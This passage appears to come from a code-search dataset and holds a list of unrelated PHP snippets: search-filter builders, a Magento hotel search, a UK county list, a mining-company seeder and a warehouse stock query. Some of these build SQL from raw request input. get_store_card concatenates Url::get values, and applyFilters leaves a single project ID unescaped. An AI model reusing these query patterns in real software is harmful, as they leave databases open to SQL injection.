$this->tapon->AdvancedSearch->ToJson(), \",\"); // Field tapon\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tipo->AdvancedSearch->ToJson(), \",\"); // Field tipo\n\t\t$sFilterList = ew_Concat($sFilterList, $this->repetirprueba->AdvancedSearch->ToJson(), \",\"); // Field repetirprueba\n\t\t$sFilterList = ew_Concat($sFilterList, $this->observaciones->AdvancedSearch->ToJson(), \",\"); // Field observaciones\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_apoderado->AdvancedSearch->ToJson(), \",\"); // Field id_apoderado\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_referencia->AdvancedSearch->ToJson(), \",\"); // Field id_referencia\n\t\t$sFilterList = preg_replace('/,$/', \"\", $sFilterList);\n\n\t\t// Return filter list in json\n\t\tif ($sFilterList <> \"\")\n\t\t\t$sFilterList = \"\\\"data\\\":{\" . $sFilterList . \"}\";\n\t\tif ($sSavedFilterList <> \"\") {\n\t\t\tif ($sFilterList <> \"\")\n\t\t\t\t$sFilterList .= \",\";\n\t\t\t$sFilterList .= \"\\\"filters\\\":\" . $sSavedFilterList;\n\t\t}\n\t\treturn ($sFilterList <> \"\") ? \"{\" . $sFilterList . \"}\" : \"null\";\n\t}", "function GetAminitiesDetail($table=false,$filter=false){\n\t\t$query=$this->db->get_where($table,$filter);\n\t\treturn $query->result();\n\t}", "abstract public function getDetails();", "public function _add_incident_filters()\n\t{\n\t\t$params = Event::$data;\n\t\t$params = array_merge($params, $this->params);\n\t\tEvent::$data = $params;\n\t}", "public function advanceSearch($data) {\n /**\n * Initilizing price for filter\n */\n $amount = explode ( \"-\", $data [\"amount\"] );\n $minval = $amount [0];\n $maxval = $amount [1]; \n /**\n * Filter by booking enable\n */ \n $copycollection = Mage::getModel ( 'catalog/product' )->getCollection ()->addAttributeToSelect ( '*' )->addFieldToFilter ( array (\n array (\n 'attribute' => 'status',\n 'eq' => '1' \n ) \n ) )->addFieldToFilter ( array (\n array (\n 'attribute' => 'propertyapproved',\n 'eq' => '1' \n ) \n ) ); \n /**\n * Filter by price\n */ \n if (Mage::getStoreConfig ( 'airhotels/max_min/price_select' ) == 0) {\n $copycollection->setOrder ( 'price', 'asc' );\n } else {\n $copycollection->setOrder ( 'price', 'desc' );\n } \n $copycollection->addFieldToFilter ( 'price', array (\n 'gteq' => $minval \n ) ); \n $copycollection->addFieldToFilter ( 'price', array (\n 'lteq' => $maxval \n ) ); \n /**\n * Filter by city, state, country value from address value\n */\n $copycollection = Mage::getModel('airhotels/status')->roomTypeFilter($data,$copycollection); \n $copycollection = Mage::getModel('airhotels/status')->searchResult($data,$copycollection); \n if ($data [\"amenityVal\"] != '') {\n /**\n * Filter by amenity\n */\n $amenityString = $data [\"amenityVal\"];\n $amenityArray = explode ( \",\", $amenityString );\n if (count ( $amenityArray ) >= 1) {\n foreach ( $amenityArray as $amenity ) { \n $copycollection->addFieldToFilter ( array (\n array (\n 'attribute' => 'amenity',\n 'like' => \"%$amenity%\" \n ) \n ) );\n }\n } else { \n $copycollection->addFieldToFilter ( array (\n array (\n 'attribute' => 'amenity',\n 'like' => \"%$amenityString%\" \n ) \n ) );\n }\n }\n $copycollection = Mage::getModel('airhotels/status')->availableProducts($data,$copycollection);\n /**\n * Set page size for display result\n */ \n $copycollection->setPage ( $data [\"pageno\"], 6 ); \n return $copycollection;\n }", "public function filter(Request $request)\n {\n $input = $request->all();\n $company = Auth::user()->company;\n $query = CorpFinService::where('company_id', $company->id);\n if(!empty($input['taxes']))\n {\n $query->where('taxes', $input['taxes']);\n }\n if(!empty($input['measure']))\n {\n $query->where('measure', $input['measure']);\n }\n $result = $query->get();\n return response($result);\n\n }", "function getAllIndustryType($dataHelper) {\n if (!is_object($dataHelper))\n {\n throw new Exception(\"common_function.inc.php : isUserEmailAddressExists : DataHelper Object did not instantiate\", 104);\n }\n try\n {\n $strSqlStatement = \"SELECT * FROM industry_details WHERE status like '1';\";\n $arrIndustryTypes = $dataHelper->fetchRecords(\"QR\", $strSqlStatement);\n return $arrIndustryTypes;\n }\n catch (Exception $e)\n {\n throw new Exception(\"common_function.inc.php : getAllCompanyType : Could not fetch records : \" . $e->getMessage(), 144);\n }\n}", "public function getIndustries()\n {\n return array_values(self::$availableManufacturers);\n }", "function fn_warehouses_gather_additional_products_data_pre($products, &$params, $lang_code)\n{\n if (!isset($params['get_warehouse_amount'])) {\n $params['get_warehouse_amount'] = false;\n }\n\n if (AREA == 'A') {\n $params['get_warehouse_amount'] = true;\n }\n}", "public function filter($data);", "function current_filter()\n {\n }", "function wc_uk_counties_add_counties( $states ) {\n\n $states['GB'] = array(\n 'AV' => 'Avon',\n 'BE' => 'Bedfordshire',\n 'BK' => 'Berkshire',\n 'BU' => 'Buckinghamshire',\n 'CA' => 'Cambridgeshire',\n 'CH' => 'Cheshire',\n 'CL' => 'Cleveland',\n 'CO' => 'Cornwall',\n 'CD' => 'County Durham',\n 'CU' => 'Cumbria',\n 'DE' => 'Derbyshire',\n 'DV' => 'Devon',\n 'DO' => 'Dorset',\n 'ES' => 'East Sussex',\n 'EX' => 'Essex',\n 'GL' => 'Gloucestershire',\n 'HA' => 'Hampshire',\n 'HE' => 'Herefordshire',\n 'HT' => 'Hertfordshire',\n 'IW' => 'Isle of Wight',\n 'KE' => 'Kent',\n 'LA' => 'Lancashire',\n 'LE' => 'Leicestershire',\n 'LI' => 'Lincolnshire',\n 'LO' => 'London',\n 'ME' => 'Merseyside',\n 'MI' => 'Middlesex',\n 'NO' => 'Norfolk',\n 'NH' => 'North Humberside',\n 'NY' => 'North Yorkshire',\n 'NS' => 'Northamptonshire',\n 'NL' => 'Northumberland',\n 'NT' => 'Nottinghamshire',\n 'OX' => 'Oxfordshire',\n 'SH' => 'Shropshire',\n 'SO' => 'Somerset',\n 'SM' => 'South Humberside',\n 'SY' => 'South Yorkshire',\n 'SF' => 'Staffordshire',\n 'SU' => 'Suffolk',\n 'SR' => 'Surrey',\n 'TW' => 'Tyne and Wear',\n 'WA' => 'Warwickshire',\n 'WM' => 'West Midlands',\n 'WS' => 'West Sussex',\n 'WY' => 'West Yorkshire',\n 'WI' => 'Wiltshire',\n 'WO' => 'Worcestershire',\n 'ABD' => 'Scotland / Aberdeenshire',\n 'ANS' => 'Scotland / Angus',\n 'ARL' => 'Scotland / Argyle & Bute',\n 'AYR' => 'Scotland / Ayrshire',\n 'CLK' => 'Scotland / Clackmannanshire',\n 'DGY' => 'Scotland / Dumfries & Galloway',\n 'DNB' => 'Scotland / Dunbartonshire',\n 'DDE' => 'Scotland / Dundee',\n 'ELN' => 'Scotland / East Lothian',\n 'EDB' => 'Scotland / Edinburgh',\n 'FIF' => 'Scotland / Fife',\n 'GGW' => 'Scotland / Glasgow',\n 'HLD' => 'Scotland / Highland',\n 'LKS' => 'Scotland / Lanarkshire',\n 'MLN' => 'Scotland / Midlothian',\n 'MOR' => 'Scotland / Moray',\n 'OKI' => 'Scotland / Orkney',\n 'PER' => 'Scotland / Perth and Kinross',\n 'RFW' => 'Scotland / Renfrewshire',\n 'SB' => 'Scotland / Scottish Borders',\n 'SHI' => 'Scotland / Shetland Isles',\n 'STI' => 'Scotland / Stirling',\n 'WLN' => 'Scotland / West Lothian',\n 'WIS' => 'Scotland / Western Isles',\n 'AGY' => 'Wales / Anglesey',\n 'GNT' => 'Wales / Blaenau Gwent',\n 'CP' => 'Wales / Caerphilly',\n 'CF' => 'Wales / Cardiff',\n 'CAE' => 'Wales / Carmarthenshire',\n 'CR' => 'Wales / Ceredigion',\n 'CW' => 'Wales / Conwy',\n 'DEN' => 'Wales / Denbighshire',\n 'FLN' => 'Wales / Flintshire',\n 'GLA' => 'Wales / Glamorgan',\n 'GWN' => 'Wales / Gwynedd',\n 'MT' => 'Wales / Merthyr Tydfil',\n 'MON' => 'Wales / Monmouthshire',\n 'PT' => 'Wales / Neath Port Talbot',\n 'NP' => 'Wales / Newport',\n 'PEM' => 'Wales / Pembrokeshire',\n 'POW' => 'Wales / Powys',\n 'RT' => 'Wales / Rhondda Cynon Taff',\n 'SS' => 'Wales / Swansea',\n 'TF' => 'Wales / Torfaen',\n 'WX' => 'Wales / Wrexham',\n 'ANT' => 'Northern Ireland / County Antrim',\n 'ARM' => 'Northern Ireland / County Armagh',\n 'DOW' => 'Northern Ireland / County Down',\n 'FER' => 'Northern Ireland / County Fermanagh',\n 'LDY' => 'Northern Ireland / County Londonderry',\n 'TYR' => 'Northern Ireland / County Tyrone',\n );\n return $states;\n\n}", "function GetFilterList() {\n\t\tglobal $UserProfile;\n\n\t\t// Load server side filters\n\t\tif (EW_SEARCH_FILTER_OPTION == \"Server\") {\n\t\t\t$sSavedFilterList = isset($UserProfile) ? $UserProfile->GetSearchFilters(CurrentUserName(), \"fvw_spmlistsrch\") : \"\";\n\t\t} else {\n\t\t\t$sSavedFilterList = \"\";\n\t\t}\n\n\t\t// Initialize\n\t\t$sFilterList = \"\";\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id->AdvancedSearch->ToJSON(), \",\"); // Field id\n\t\t$sFilterList = ew_Concat($sFilterList, $this->detail_jenis_spp->AdvancedSearch->ToJSON(), \",\"); // Field detail_jenis_spp\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_jenis_spp->AdvancedSearch->ToJSON(), \",\"); // Field id_jenis_spp\n\t\t$sFilterList = ew_Concat($sFilterList, $this->status_spp->AdvancedSearch->ToJSON(), \",\"); // Field status_spp\n\t\t$sFilterList = ew_Concat($sFilterList, $this->no_spp->AdvancedSearch->ToJSON(), \",\"); // Field no_spp\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tgl_spp->AdvancedSearch->ToJSON(), \",\"); // Field tgl_spp\n\t\t$sFilterList = ew_Concat($sFilterList, $this->keterangan->AdvancedSearch->ToJSON(), \",\"); // Field keterangan\n\t\t$sFilterList = ew_Concat($sFilterList, $this->jumlah_up->AdvancedSearch->ToJSON(), \",\"); // Field jumlah_up\n\t\t$sFilterList = ew_Concat($sFilterList, $this->bendahara->AdvancedSearch->ToJSON(), \",\"); // Field bendahara\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nama_pptk->AdvancedSearch->ToJSON(), \",\"); // Field nama_pptk\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nip_pptk->AdvancedSearch->ToJSON(), \",\"); // Field nip_pptk\n\t\t$sFilterList = ew_Concat($sFilterList, $this->kode_program->AdvancedSearch->ToJSON(), \",\"); // Field kode_program\n\t\t$sFilterList = ew_Concat($sFilterList, $this->kode_kegiatan->AdvancedSearch->ToJSON(), \",\"); // Field kode_kegiatan\n\t\t$sFilterList = ew_Concat($sFilterList, $this->kode_sub_kegiatan->AdvancedSearch->ToJSON(), \",\"); // Field kode_sub_kegiatan\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tahun_anggaran->AdvancedSearch->ToJSON(), \",\"); // Field tahun_anggaran\n\t\t$sFilterList = ew_Concat($sFilterList, $this->jumlah_spd->AdvancedSearch->ToJSON(), \",\"); // Field jumlah_spd\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nomer_dasar_spd->AdvancedSearch->ToJSON(), \",\"); // Field nomer_dasar_spd\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tanggal_spd->AdvancedSearch->ToJSON(), \",\"); // Field tanggal_spd\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_spd->AdvancedSearch->ToJSON(), \",\"); // Field id_spd\n\t\t$sFilterList = ew_Concat($sFilterList, $this->kode_rekening->AdvancedSearch->ToJSON(), \",\"); // Field kode_rekening\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nama_bendahara->AdvancedSearch->ToJSON(), \",\"); // Field nama_bendahara\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nip_bendahara->AdvancedSearch->ToJSON(), \",\"); // Field nip_bendahara\n\t\t$sFilterList = ew_Concat($sFilterList, $this->no_spm->AdvancedSearch->ToJSON(), \",\"); // Field no_spm\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tgl_spm->AdvancedSearch->ToJSON(), \",\"); // Field tgl_spm\n\t\t$sFilterList = ew_Concat($sFilterList, $this->status_spm->AdvancedSearch->ToJSON(), \",\"); // Field status_spm\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nama_bank->AdvancedSearch->ToJSON(), \",\"); // Field nama_bank\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nomer_rekening_bank->AdvancedSearch->ToJSON(), \",\"); // Field nomer_rekening_bank\n\t\t$sFilterList = ew_Concat($sFilterList, $this->npwp->AdvancedSearch->ToJSON(), \",\"); // Field npwp\n\t\t$sFilterList = ew_Concat($sFilterList, $this->pimpinan_blud->AdvancedSearch->ToJSON(), \",\"); // Field pimpinan_blud\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nip_pimpinan->AdvancedSearch->ToJSON(), \",\"); // Field nip_pimpinan\n\t\t$sFilterList = ew_Concat($sFilterList, $this->no_sptb->AdvancedSearch->ToJSON(), \",\"); // Field no_sptb\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tgl_sptb->AdvancedSearch->ToJSON(), \",\"); // Field tgl_sptb\n\t\tif ($this->BasicSearch->Keyword <> \"\") {\n\t\t\t$sWrk = \"\\\"\" . EW_TABLE_BASIC_SEARCH . \"\\\":\\\"\" . ew_JsEncode2($this->BasicSearch->Keyword) . \"\\\",\\\"\" . EW_TABLE_BASIC_SEARCH_TYPE . \"\\\":\\\"\" . ew_JsEncode2($this->BasicSearch->Type) . \"\\\"\";\n\t\t\t$sFilterList = ew_Concat($sFilterList, $sWrk, \",\");\n\t\t}\n\t\t$sFilterList = preg_replace('/,$/', \"\", $sFilterList);\n\n\t\t// Return filter list in json\n\t\tif ($sFilterList <> \"\")\n\t\t\t$sFilterList = \"\\\"data\\\":{\" . $sFilterList . \"}\";\n\t\tif ($sSavedFilterList <> \"\") {\n\t\t\tif ($sFilterList <> \"\")\n\t\t\t\t$sFilterList .= \",\";\n\t\t\t$sFilterList .= \"\\\"filters\\\":\" . $sSavedFilterList;\n\t\t}\n\t\treturn ($sFilterList <> \"\") ? \"{\" . $sFilterList . \"}\" : \"null\";\n\t}", "function GetFilterList() {\n\t\tglobal $UserProfile;\n\n\t\t// Load server side filters\n\t\tif (EW_SEARCH_FILTER_OPTION == \"Server\") {\n\t\t\t$sSavedFilterList = isset($UserProfile) ? $UserProfile->GetSearchFilters(CurrentUserName(), \"fspplistsrch\") : \"\";\n\t\t} else {\n\t\t\t$sSavedFilterList = \"\";\n\t\t}\n\n\t\t// Initialize\n\t\t$sFilterList = \"\";\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tgl->AdvancedSearch->ToJSON(), \",\"); // Field tgl\n\t\t$sFilterList = ew_Concat($sFilterList, $this->no_spp->AdvancedSearch->ToJSON(), \",\"); // Field no_spp\n\t\t$sFilterList = ew_Concat($sFilterList, $this->jns_spp->AdvancedSearch->ToJSON(), \",\"); // Field jns_spp\n\t\t$sFilterList = ew_Concat($sFilterList, $this->kd_mata->AdvancedSearch->ToJSON(), \",\"); // Field kd_mata\n\t\t$sFilterList = ew_Concat($sFilterList, $this->urai->AdvancedSearch->ToJSON(), \",\"); // Field urai\n\t\t$sFilterList = ew_Concat($sFilterList, $this->jmlh->AdvancedSearch->ToJSON(), \",\"); // Field jmlh\n\t\t$sFilterList = ew_Concat($sFilterList, $this->jmlh1->AdvancedSearch->ToJSON(), \",\"); // Field jmlh1\n\t\t$sFilterList = ew_Concat($sFilterList, $this->jmlh2->AdvancedSearch->ToJSON(), \",\"); // Field jmlh2\n\t\t$sFilterList = ew_Concat($sFilterList, $this->jmlh3->AdvancedSearch->ToJSON(), \",\"); // Field jmlh3\n\t\t$sFilterList = ew_Concat($sFilterList, $this->jmlh4->AdvancedSearch->ToJSON(), \",\"); // Field jmlh4\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nm_perus->AdvancedSearch->ToJSON(), \",\"); // Field nm_perus\n\t\t$sFilterList = ew_Concat($sFilterList, $this->alamat->AdvancedSearch->ToJSON(), \",\"); // Field alamat\n\t\t$sFilterList = ew_Concat($sFilterList, $this->npwp->AdvancedSearch->ToJSON(), \",\"); // Field npwp\n\t\t$sFilterList = ew_Concat($sFilterList, $this->pimpinan->AdvancedSearch->ToJSON(), \",\"); // Field pimpinan\n\t\t$sFilterList = ew_Concat($sFilterList, $this->bank->AdvancedSearch->ToJSON(), \",\"); // Field bank\n\t\t$sFilterList = ew_Concat($sFilterList, $this->rek->AdvancedSearch->ToJSON(), \",\"); // Field rek\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nospm->AdvancedSearch->ToJSON(), \",\"); // Field nospm\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tglspm->AdvancedSearch->ToJSON(), \",\"); // Field tglspm\n\t\t$sFilterList = ew_Concat($sFilterList, $this->ppn->AdvancedSearch->ToJSON(), \",\"); // Field ppn\n\t\t$sFilterList = ew_Concat($sFilterList, $this->ps21->AdvancedSearch->ToJSON(), \",\"); // Field ps21\n\t\t$sFilterList = ew_Concat($sFilterList, $this->ps22->AdvancedSearch->ToJSON(), \",\"); // Field ps22\n\t\t$sFilterList = ew_Concat($sFilterList, $this->ps23->AdvancedSearch->ToJSON(), \",\"); // Field ps23\n\t\t$sFilterList = ew_Concat($sFilterList, $this->ps4->AdvancedSearch->ToJSON(), \",\"); // Field ps4\n\t\t$sFilterList = ew_Concat($sFilterList, $this->kodespm->AdvancedSearch->ToJSON(), \",\"); // Field kodespm\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nambud->AdvancedSearch->ToJSON(), \",\"); // Field nambud\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nppk->AdvancedSearch->ToJSON(), \",\"); // Field nppk\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nipppk->AdvancedSearch->ToJSON(), \",\"); // Field nipppk\n\t\t$sFilterList = ew_Concat($sFilterList, $this->prog->AdvancedSearch->ToJSON(), \",\"); // Field prog\n\t\t$sFilterList = ew_Concat($sFilterList, $this->prog1->AdvancedSearch->ToJSON(), \",\"); // Field prog1\n\t\t$sFilterList = ew_Concat($sFilterList, $this->bayar->AdvancedSearch->ToJSON(), \",\"); // Field bayar\n\t\tif ($this->BasicSearch->Keyword <> \"\") {\n\t\t\t$sWrk = \"\\\"\" . EW_TABLE_BASIC_SEARCH . \"\\\":\\\"\" . ew_JsEncode2($this->BasicSearch->Keyword) . \"\\\",\\\"\" . EW_TABLE_BASIC_SEARCH_TYPE . \"\\\":\\\"\" . ew_JsEncode2($this->BasicSearch->Type) . \"\\\"\";\n\t\t\t$sFilterList = ew_Concat($sFilterList, $sWrk, \",\");\n\t\t}\n\t\t$sFilterList = preg_replace('/,$/', \"\", $sFilterList);\n\n\t\t// Return filter list in json\n\t\tif ($sFilterList <> \"\")\n\t\t\t$sFilterList = \"\\\"data\\\":{\" . $sFilterList . \"}\";\n\t\tif ($sSavedFilterList <> \"\") {\n\t\t\tif ($sFilterList <> \"\")\n\t\t\t\t$sFilterList .= \",\";\n\t\t\t$sFilterList .= \"\\\"filters\\\":\" . $sSavedFilterList;\n\t\t}\n\t\treturn ($sFilterList <> \"\") ? \"{\" . $sFilterList . \"}\" : \"null\";\n\t}", "function applyFilters($q, $au, $roo)\n {\n \n $tn = $this->tableName();\n $this->selectAdd(\"i18n_translate('c' , {$tn}.country, 'en') as country_display_name \");\n \n $tn = $this->tableName();\n //DB_DataObject::debugLevel(1);\n $x = DB_DataObject::factory('core_company');\n $x->comptype= 'OWNER';\n $x->find(true);\n\n if (!empty($q['query']['company_project_id'])) {\n $add = '';\n if (!empty($q['query']['company_include_self'])) {\n $add = \" OR {$tn}.id = {$x->id}\";\n }\n if (!empty($q['query']['company_not_self'])) {\n $add = \" AND {$tn}.id != {$x->id}\";\n }\n \n $pids = array();\n $pid = $q['query']['company_project_id'];\n if (strpos($pid, ',')) {\n $bits = explode(',', $pid);\n foreach($bits as $b) {\n $pids[] = (int)$b;\n }\n } else {\n $pids = array($pid);\n }\n \n \n $pids = implode(',', $pids);\n $this->whereAdd(\"{$tn}.id IN (\n SELECT distinct(company_id) FROM ProjectDirectory where project_id IN ($pids)\n ) $add\" );\n \n }\n if (!empty($q['query']['comptype'])) {\n \n $this->whereAddIn($tn.'.comptype', explode(',', $q['query']['comptype']), 'string');\n \n }\n \n // depricated - should be moved to module specific (texon afair)\n \n if (!empty($q['query']['province'])) {\n $prov = $this->escape($q['query']['province']);\n $this->whereAdd(\"province LIKE '$prov%'\");\n \n \n }\n // ADD comptype_display name.. = for combos..\n $this->selectAdd(\"\n (SELECT display_name\n FROM\n core_enum\n WHERE\n etype='comptype'\n AND\n name={$tn}.comptype\n LIMIT 1\n ) as comptype_display_name\n \");\n \n if(!empty($q['query']['name']) || !empty($q['search']['name'])){\n \n $s = (!empty($q['query']['name'])) ? $this->escape($q['query']['name']) : $this->escape($q['search']['name']);\n \n $this->whereAdd(\"\n {$tn}.name LIKE '%$s%'\n \");\n }\n \n if(!empty($q['query']['name_starts']) || !empty($q['search']['name_starts'])){\n \n $s = (!empty($q['query']['name_starts'])) ? $this->escape($q['query']['name_starts']) : $this->escape($q['search']['name_starts']);\n \n $this->whereAdd(\"\n {$tn}.name LIKE '$s%'\n \");\n }\n }", "public function run()\n {\n $companies = [\n [\n 'name' => 'IAM GOLD ESSAKANE SA',\n 'description' => 'Just a simple test description.',\n 'ifu_number' => '00016079 H',\n 'region_id' => 3\n ],\n [\n 'name' => 'SEMAFO BURKINA FASO',\n 'description' => 'Just a simple test description.',\n 'ifu_number' => '00009763 S',\n 'region_id' => 1\n ],\n [\n 'name' => 'SOCIETE DES MINES DE BELAHOURO (SMB)',\n 'description' => 'Just a simple test description.',\n 'ifu_number' => '00011610 K',\n 'region_id' => 6\n ],\n [\n 'name' => 'SOCIETE DES MINES DE TAPARKO (SOMITA)',\n 'description' => 'Just a simple test description.',\n 'ifu_number' => '00007047 V',\n 'region_id' => 3\n ],\n [\n 'name' => 'BIRIMIAN RESOURCES',\n 'description' => 'Just a simple test description.',\n 'ifu_number' => '00029551 F',\n 'region_id' => 10\n ],\n [\n 'name' => 'BURKINA MINING COMPANY (BMC)',\n 'description' => 'Just a simple test description.',\n 'ifu_number' => '00006204 X',\n 'region_id' => 7\n ],\n [\n 'name' => 'GRYPHON SA (*)',\n 'description' => 'Just a simple test description.',\n 'ifu_number' => 'NC',\n 'region_id' => 9\n ],\n [\n 'name' => 'BISSA GOLD',\n 'description' => 'Just a simple test description.',\n 'ifu_number' => '00030276 N',\n 'region_id' => 11\n ],\n [\n 'name' => 'NANTOU MINING SA',\n 'description' => 'Just a simple test description.',\n 'ifu_number' => '00010790 T',\n 'region_id' => 6\n ],\n [\n 'name' => 'OREZONE INC SARL',\n 'description' => 'Just a simple test description.',\n 'ifu_number' => '00007345 N',\n 'region_id' => 1\n ],\n ];\n foreach ($companies as $company) {\n MiningCompany::create([\n 'name' => $company['name'],\n 'description' => $company['description'],\n 'ifu_number' => $company['ifu_number'],\n 'region_id' => $company['region_id']\n ]);\n }\n }", "function get_store_card()\n {\n\t\tif(Url::get('code') and $row = DB::select('product','name_1 = \\''.Url::get('code').'\\' or name_2 = \\''.Url::get('code').'\\''))\n {\n $this->map['have_item'] = true;\n\t\t\t$this->map['code'] = $row['id'];\n\t\t\t$this->map['name'] = $row['name_'.Portal::language()];\n\t\t\t$old_cond = 'wh_invoice_detail.product_id = \\''.$row['id'].'\\' AND\n\t\t\t\t\t(\n\t\t\t\t\t(wh_invoice.type=\\'IMPORT\\' AND wh_invoice_detail.warehouse_id='.Url::iget('warehouse_id').') OR \n\t\t\t\t\t(wh_invoice.type=\\'EXPORT\\' AND (wh_invoice_detail.warehouse_id='.Url::iget('warehouse_id').'))\n\t\t\t\t\t)\n\t\t\t\t\t'.(Url::get('date_from')?' AND wh_invoice.create_date <\\''.Date_Time::to_orc_date(Url::get('date_from')).'\\'':'').'\n\t\t\t';\n $wh_remain_date = DB::fetch_all('select * from wh_remain_date where warehouse_id='.Url::iget('warehouse_id').' and portal_id = \\''.PORTAL_ID.'\\'');\n $new_cond = '';\n foreach($wh_remain_date as $key=>$value)\n {\n if($value['end_date'] != '' and Date_Time::to_time(Url::get('date_from'))< Date_Time::to_time(Date_Time::convert_orc_date_to_date($value['term_date'],'/')) and Date_Time::to_time(Url::get('date_from'))>= Date_Time::to_time(Date_Time::convert_orc_date_to_date($value['term_date'],'/')))\n {\n $old_cond.= ' AND wh_invoice.create_date >=\\''.$value['term_date'].'\\'';\n $new_cond.= ' AND wh_remain_date_detail.term_date =\\''.$value['term_date'].'\\'';\n }\n if($value['end_date']=='' and Date_Time::to_time(Url::get('date_from'))>= Date_Time::to_time(Date_Time::convert_orc_date_to_date($value['term_date'],'/')))\n {\n $old_cond.= ' AND wh_invoice.create_date >=\\''.$value['term_date'].'\\'';\n $new_cond.= ' AND wh_remain_date_detail.term_date =\\''.$value['term_date'].'\\'';\n }\n }\t\n\t\t\t$sql = '\n\t\t\t\tSELECT\n\t\t\t\t\twh_invoice_detail.id,\n wh_invoice_detail.product_id,\n wh_invoice_detail.num,\n wh_invoice.type,\n\t\t\t\t\twh_invoice_detail.to_warehouse_id,\n wh_invoice_detail.warehouse_id\n\t\t\t\tFROM\n\t\t\t\t\twh_invoice_detail\n\t\t\t\t\tINNER JOIN wh_invoice ON wh_invoice.id= wh_invoice_detail.invoice_id\n\t\t\t\tWHERE\n\t\t\t\t\t'.$old_cond.' \n and wh_invoice.portal_id = \\''.PORTAL_ID.'\\'\n\t\t\t\tORDER BY\n\t\t\t\t\twh_invoice.id,wh_invoice.create_date,wh_invoice.time\n\t\t\t';\n\t\t\t$items = DB::fetch_all($sql);\n\t\t\t$old_items = array();\n\t\t\tforeach($items as $key=>$value)\n {\n\t\t\t\t$product_id = $value['product_id'];\n\t\t\t\tif($value['type']=='IMPORT' or $value['to_warehouse_id'] == Url::get('warehouse_id'))\n {\n\t\t\t\t\tif(isset($old_items[$product_id]['import_number']))\n\t\t\t\t\t\t$old_items[$product_id]['import_number'] += $value['num'];\n else\n\t\t\t\t\t\t$old_items[$product_id]['import_number'] = $value['num'];\n }\n else\n if($value['type']=='EXPORT' and $value['to_warehouse_id'] != Url::get('warehouse_id'))\n {\n \t\t\t\t\tif(isset($old_items[$product_id]['export_number']))\n \t\t\t\t\t\t$old_items[$product_id]['export_number'] += $value['num'];\n else\n {\n $old_items[$product_id]['export_number'] = $value['num'];\n }\n \t\t\t\t}\n\t\t\t}\n $sql = '\n\t\t\tSELECT\n\t\t\t\twh_start_term_remain.id,\n wh_start_term_remain.warehouse_id,\n\t\t\t\twh_start_term_remain.product_id,\n CASE \n WHEN wh_start_term_remain.quantity >0 THEN wh_start_term_remain.quantity\n ELSE 0 \n END as quantity\n\t\t\tFROM\n\t\t\t\twh_start_term_remain\n\t\t\tWHERE\t\n\t\t\t\twh_start_term_remain.product_id = \\''.$row['id'].'\\' AND warehouse_id='.Url::iget('warehouse_id').'\n and wh_start_term_remain.portal_id = \\''.PORTAL_ID.'\\'\n\t\t\t';\n\t\t\tif($product = DB::fetch($sql))\n {\n $this->map['start_remain'] = $product['quantity'];\t\n }\t\n else\n {\n $this->map['start_remain'] = 0;\n }\n if($new_cond!='')\n {\n $sql = '\n\t\t\t\tSELECT\n\t\t\t\t\twh_remain_date_detail.id,\n wh_remain_date_detail.warehouse_id,\n\t\t\t\t\twh_remain_date_detail.product_id,\n wh_remain_date_detail.quantity\n\t\t\t\tFROM\n\t\t\t\t\twh_remain_date_detail\n\t\t\t\tWHERE\t\n\t\t\t\t\twh_remain_date_detail.product_id = \\''.$row['id'].'\\' AND warehouse_id='.Url::iget('warehouse_id').'\n and wh_remain_date_detail.portal_id = \\''.PORTAL_ID.'\\'\n '.$new_cond.'\n \t\t\t';\n if(User::id()=='developer06')\n {\n //System::debug($sql);\n }\n \t\t\tif($product = DB::fetch($sql))\n \t\t\t\t$this->map['start_remain'] += $product['quantity'];\t\n }\n if(User::id()=='developer06')\n {\n //System::debug($this->map['start_remain']);\n }\n\t\t\t$cond = 'wh_invoice_detail.product_id = \\''.$row['id'].'\\' AND\n\t\t\t\t(\n\t\t\t\t(wh_invoice.type=\\'IMPORT\\' AND wh_invoice_detail.warehouse_id='.Url::iget('warehouse_id').') OR \n\t\t\t\t(wh_invoice.type=\\'EXPORT\\' AND (wh_invoice_detail.warehouse_id='.Url::iget('warehouse_id').'))\n\t\t\t\t)\n\t\t\t\t'.(Url::get('date_from')?' AND wh_invoice.create_date >=\\''.Date_Time::to_orc_date(Url::get('date_from')).'\\'':'').'\n\t\t\t\t'.(Url::get('date_to')?' AND wh_invoice.create_date <=\\''.Date_Time::to_orc_date(Url::get('date_to')).'\\'':'').'\n\t\t\t';\n\t\t\t$sql = '\n\t\t\t\tSELECT\n\t\t\t\t\twh_invoice.*,\n\t\t\t\t\tDECODE(wh_invoice.type,\\'IMPORT\\',wh_invoice.bill_number,\\'\\') AS import_invoice_code,\n\t\t\t\t\tDECODE(wh_invoice.type,\\'EXPORT\\',wh_invoice.bill_number,\\'\\') AS export_invoice_code,\n\t\t\t\t\twh_invoice_detail.num,wh_invoice_detail.warehouse_id,wh_invoice_detail.to_warehouse_id\n\t\t\t\tFROM\n\t\t\t\t\twh_invoice\n\t\t\t\t\tINNER JOIN wh_invoice_detail ON wh_invoice_detail.invoice_id = wh_invoice.id\n\t\t\t\tWHERE\n\t\t\t\t\t'.$cond.'\n and wh_invoice.portal_id = \\''.PORTAL_ID.'\\'\n\t\t\t\tORDER BY\n\t\t\t\t\twh_invoice.id,wh_invoice.create_date,wh_invoice.time\n\t\t\t';\n\t\t\t$items = 